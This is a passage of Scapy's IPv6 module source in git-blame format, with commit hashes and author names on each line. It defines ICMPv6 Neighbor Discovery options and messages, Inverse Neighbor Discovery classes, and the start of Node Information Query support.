1859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2len(self, pkt, x): 1860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return len(self.i2m(pkt, x)) 18610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 1862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2m(self, pkt, x): 1863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = pkt.len 1864c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if x is None: 1866c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = "::" 1867c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if l is None: 1868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = 1 1869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = inet_pton(socket.AF_INET6, x) 1870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if l is None: 1872c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return x 1873c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if l in [0, 1]: 18741186356a1d73fd59b700d8af05e789d0e8899de6gpotter return b"" 1875c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if l in [2, 3]: 1876c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return x[:8*(l-1)] 1877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 18782a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter return x + b'\x00'*8*(l-3) 1879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191 1881c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery Option - Route Information Option" 1882c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type",24), 1883c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("len", None, length_of="prefix", fmt="B", 188463ae11708b02df74dd3e8d2385d2829f3d622d66gpotter adjust = lambda pkt,x: x//8 + 1), 1885c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("plen", None), 1886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("res1",0,3), 1887c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("prf",0,2), 1888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("res2",0,3), 1889c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("rtlifetime", 0xffffffff), 18906057906368d55634d11e1d19a5cca1f127595b11Robin Jarry _IP6PrefixField("prefix", None) ] 18910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 1892c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006 1893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option" 1894c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type", 25), 1895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("len", None, count_of="dns", fmt="B", 1896c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil adjust = lambda pkt,x: 2*x+1), 1897c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField("res", None), 1898c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("lifetime", 0xffffffff), 18990d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz IP6ListField("dns", [], 1900c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: 8*(pkt.len-1)) ] 1901c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1902c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075) 1903c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option" 1904c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type", 26), 1905c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("len", 1), 1906c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("res", 0, 48) ] 1907c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 19086057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# As required in Sect 8. of RFC 3315, Domain Names must be encoded as 19096057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# described in section 3.1 of RFC 1035 19106057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# XXX Label should be at most 63 octets in length : we do not enforce it 19116057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# Total length of domain should be 255 : we do not enforce it either 19126057906368d55634d11e1d19a5cca1f127595b11Robin Jarryclass DomainNameListField(StrLenField): 19136057906368d55634d11e1d19a5cca1f127595b11Robin Jarry __slots__ = ["padded"] 19146057906368d55634d11e1d19a5cca1f127595b11Robin Jarry islist = 1 19156057906368d55634d11e1d19a5cca1f127595b11Robin Jarry padded_unit = 8 19166057906368d55634d11e1d19a5cca1f127595b11Robin Jarry 19176057906368d55634d11e1d19a5cca1f127595b11Robin Jarry def __init__(self, name, default, fld=None, length_from=None, padded=False): 19186057906368d55634d11e1d19a5cca1f127595b11Robin Jarry self.padded = padded 19196057906368d55634d11e1d19a5cca1f127595b11Robin Jarry StrLenField.__init__(self, name, default, fld, length_from) 19206057906368d55634d11e1d19a5cca1f127595b11Robin Jarry 19216057906368d55634d11e1d19a5cca1f127595b11Robin Jarry def i2len(self, pkt, x): 19226057906368d55634d11e1d19a5cca1f127595b11Robin Jarry return len(self.i2m(pkt, x)) 19236057906368d55634d11e1d19a5cca1f127595b11Robin Jarry 19246057906368d55634d11e1d19a5cca1f127595b11Robin Jarry def m2i(self, pkt, x): 1925d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter x = plain_str(x) # Decode bytes to string 19266057906368d55634d11e1d19a5cca1f127595b11Robin Jarry res = [] 19276057906368d55634d11e1d19a5cca1f127595b11Robin Jarry while x: 19286057906368d55634d11e1d19a5cca1f127595b11Robin Jarry # Get a name until \x00 is reached 19296057906368d55634d11e1d19a5cca1f127595b11Robin Jarry cur = [] 1930d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter while x and ord(x[0]) != 0: 1931d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter l = ord(x[0]) 19326057906368d55634d11e1d19a5cca1f127595b11Robin Jarry cur.append(x[1:l+1]) 19336057906368d55634d11e1d19a5cca1f127595b11Robin Jarry x = x[l+1:] 19346057906368d55634d11e1d19a5cca1f127595b11Robin Jarry if self.padded: 1935d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter # Discard following \x00 in padded mode 1936d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter if len(cur): 1937d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter res.append(".".join(cur) + ".") 19386057906368d55634d11e1d19a5cca1f127595b11Robin Jarry else: 19396057906368d55634d11e1d19a5cca1f127595b11Robin Jarry # Store the current name 19406057906368d55634d11e1d19a5cca1f127595b11Robin Jarry res.append(".".join(cur) + ".") 1941d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter if x and ord(x[0]) == 0: 19426057906368d55634d11e1d19a5cca1f127595b11Robin Jarry x = x[1:] 19436057906368d55634d11e1d19a5cca1f127595b11Robin Jarry return res 19446057906368d55634d11e1d19a5cca1f127595b11Robin Jarry 19456057906368d55634d11e1d19a5cca1f127595b11Robin Jarry def i2m(self, pkt, x): 19466057906368d55634d11e1d19a5cca1f127595b11Robin Jarry def conditionalTrailingDot(z): 1947d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter if z and orb(z[-1]) == 0: 19486057906368d55634d11e1d19a5cca1f127595b11Robin Jarry return z 19495e8857410015a93f6371459b2f870432ded39b9fgpotter return z+b'\x00' 19506057906368d55634d11e1d19a5cca1f127595b11Robin Jarry # Build the encode names 1951d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter tmp = ([chb(len(z)) + z.encode("utf8") for z in y.split('.')] for y in x) # Also encode string to bytes 19525e8857410015a93f6371459b2f870432ded39b9fgpotter ret_string = b"".join(conditionalTrailingDot(b"".join(x)) for x in tmp) 19536057906368d55634d11e1d19a5cca1f127595b11Robin Jarry 19546057906368d55634d11e1d19a5cca1f127595b11Robin Jarry # In padded mode, add some \x00 bytes 19556057906368d55634d11e1d19a5cca1f127595b11Robin Jarry if self.padded and not len(ret_string) % self.padded_unit == 0: 19562a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter ret_string += b"\x00" * (self.padded_unit - len(ret_string) % self.padded_unit) 19576057906368d55634d11e1d19a5cca1f127595b11Robin Jarry 19586057906368d55634d11e1d19a5cca1f127595b11Robin Jarry return ret_string 19596057906368d55634d11e1d19a5cca1f127595b11Robin Jarry 19602e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadonclass ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106 19612e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option" 19622e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon fields_desc = [ ByteField("type", 31), 196332b02729ef889d3d125ae3c69ad28d3f62356a49Guillaume Valadon FieldLenField("len", None, length_of="searchlist", fmt="B", 196463ae11708b02df74dd3e8d2385d2829f3d622d66gpotter adjust=lambda pkt, x: 1+ x//8), 19652e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon ShortField("res", None), 19662e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon IntField("lifetime", 0xffffffff), 19672e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon DomainNameListField("searchlist", [], 19682e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon length_from=lambda pkt: 8*pkt.len -8, 19692e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon padded=True) 19702e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon ] 19712e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon 1972c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# End of ICMPv6 Neighbor Discovery Options. 1973c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1974c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6): 1975c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery - Router Solicitation" 1976c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type", 133, icmp6types), 1977c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code",0), 1978c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 1979c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("res",0) ] 1980c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: { "nh": 58, "dst": "ff02::2", "hlim": 255 }} 1981c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1982c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6): 1983c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery - Router Advertisement" 1984c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type", 134, icmp6types), 1985c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code",0), 1986c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 1987c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("chlim",0), 1988c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("M",0,1), 1989c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("O",0,1), 1990c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("H",0,1), 1991c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitEnumField("prf",1,2, { 0: "Medium (default)", 1992c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1: "High", 1993c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: "Reserved", 1994c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: "Low" } ), # RFC 4191 1995c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("P",0,1), 19960d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz BitField("res",0,2), 1997c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortField("routerlifetime",1800), 1998c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("reachabletime",0), 1999c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("retranstimer",0) ] 2000c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} 2001c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2002c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def answers(self, other): 2003c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return isinstance(other, ICMPv6ND_RS) 2004c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2005c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet): 2006c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation" 2007c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type",135, icmp6types), 2008c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code",0), 2009c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 20106695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon IntField("res", 0), 2011c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field("tgt","::") ] 2012c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} 2013c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2014c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def mysummary(self): 2015c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.sprintf("%name% (tgt: %tgt%)") 2016c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2017c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 20185e8857410015a93f6371459b2f870432ded39b9fgpotter return raw(self.tgt)+self.payload.hashret() 2019c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 20206695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadonclass ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet): 2021c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement" 20226695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon fields_desc = [ ByteEnumField("type",136, icmp6types), 20236695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon ByteField("code",0), 20246695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon XShortField("cksum", None), 20256695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon BitField("R",1,1), 20266695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon BitField("S",0,1), 20276695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon BitField("O",1,1), 20286695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon XBitField("res",0,29), 20296695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon IP6Field("tgt","::") ] 20306695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} 20316695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon 20326695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon def mysummary(self): 20336695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon return self.sprintf("%name% (tgt: %tgt%)") 20346695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon 20356695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon def hashret(self): 20365e8857410015a93f6371459b2f870432ded39b9fgpotter return raw(self.tgt)+self.payload.hashret() 2037c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2038c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def answers(self, other): 203977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt 2040c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2041c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# associated possible options : target link-layer option, Redirected header 2042c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet): 2043c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Neighbor Discovery - Redirect" 2044c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type",137, icmp6types), 2045c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code",0), 2046c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 2047c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XIntField("res",0), 2048c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field("tgt","::"), 2049c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field("dst","::") ] 2050c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} 2051c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2052c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2053c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2054c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################ ICMPv6 Inverse Neighbor Discovery (RFC 3122) ############### 2055c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2056c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet): 2057c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List" 2058c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteField("type",9), 2059c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("len", None, count_of="addrlist", fmt="B", 2060c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil adjust = lambda pkt,x: 2*x+1), 20612a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter StrFixedLenField("res", b"\x00"*6, 6), 2062c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6ListField("addrlist", [], 2063c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: 8*(pkt.len-1)) ] 2064c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2065c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList): 2066c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List" 20670d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz type = 10 2068c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2069c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2070c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# RFC3122 2071c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Options requises : source lladdr et target lladdr 2072c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Autres options valides : source address list, MTU 2073c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - Comme precise dans le document, il serait bien de prendre l'adresse L2 2074c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# demandee dans l'option requise target lladdr et l'utiliser au niveau 2075c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# de l'adresse destination ethernet si aucune adresse n'est precisee 2076c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - ca semble pas forcement pratique si l'utilisateur doit preciser toutes 20770d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# les options. 2078c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Ether() must use the target lladdr as destination 2079c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6): 2080c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Inverse Neighbor Discovery Solicitation" 2081c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type",141, icmp6types), 2082c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code",0), 2083c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum",None), 2084c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XIntField("reserved",0) ] 2085c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} 2086c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2087c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Options requises : target lladdr, target address list 2088c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Autres options valides : MTU 2089c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6): 2090c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Inverse Neighbor Discovery Advertisement" 2091c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type",142, icmp6types), 2092c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("code",0), 2093c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum",None), 2094c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XIntField("reserved",0) ] 2095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} 2096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2097c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2098c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################### 2099c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# ICMPv6 Node Information Queries (RFC 4620) 2100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################### 2101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 21020d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Add automatic destination address computation using computeNIGroupAddr 2103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# in IPv6 class (Scapy6 modification when integrated) if : 2104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - it is not provided 2105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - upper layer is ICMPv6NIQueryName() with a valid value 2106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Try to be liberal in what we accept as internal values for _explicit_ 21070d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# DNS elements provided by users. Any string should be considered 2108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# valid and kept like it has been provided. At the moment, i2repr() will 2109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# crash on many inputs 2110c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Do the documentation 2111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Add regression tests 21120d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Perform test against real machines (NOOP reply is proof of implementation). 21130d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Check if there are differences between different stacks. Among *BSD, 21140d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# with others. 2115c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Deal with flags in a consistent way. 21160d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Implement compression in names2dnsrepr() and decompresiion in 21170d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# dnsrepr2names(). Should be deactivable. 2118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6_niqtypes = { 0: "NOOP", 2120c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2: "Node Name", 2121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: "IPv6 Address", 2122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4: "IPv4 Address" } 2123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2124c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2125c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NIHashret: 2126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 2127c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.nonce 2128c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2129c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NIAnswers: 2130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def answers(self, other): 2131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.nonce == other.nonce 2132c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Buggy; always returns the same value during a session 2134c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NonceField(StrFixedLenField): 2135c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __init__(self, name, default=None): 2136c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrFixedLenField.__init__(self, name, default, 8) 2137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if default is None: 2138c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.default = self.randval() 2139c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2140caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register 2141c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef computeNIGroupAddr(name): 2142caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon """Compute the NI group Address. Can take a FQDN as input parameter""" 2143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = name.lower().split(".")[0] 2144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil record = chr(len(name))+name 21450aeb049606bee9335e62afea58479915bd6e2344Pierre LALET h = md5(record.encode("utf8")) 2146c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil h = h.digest() 2147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4]) 2148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return addr 2149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 21510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Here is the deal. First, that protocol is a piece of shit. Then, we 2152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# provide 4 classes for the different kinds of Requests (one for every 2153c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same 21540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# data field class that is made to be smart by guessing the specific 21550d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# type of value provided : 2156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# 2157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0, 21580d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# if 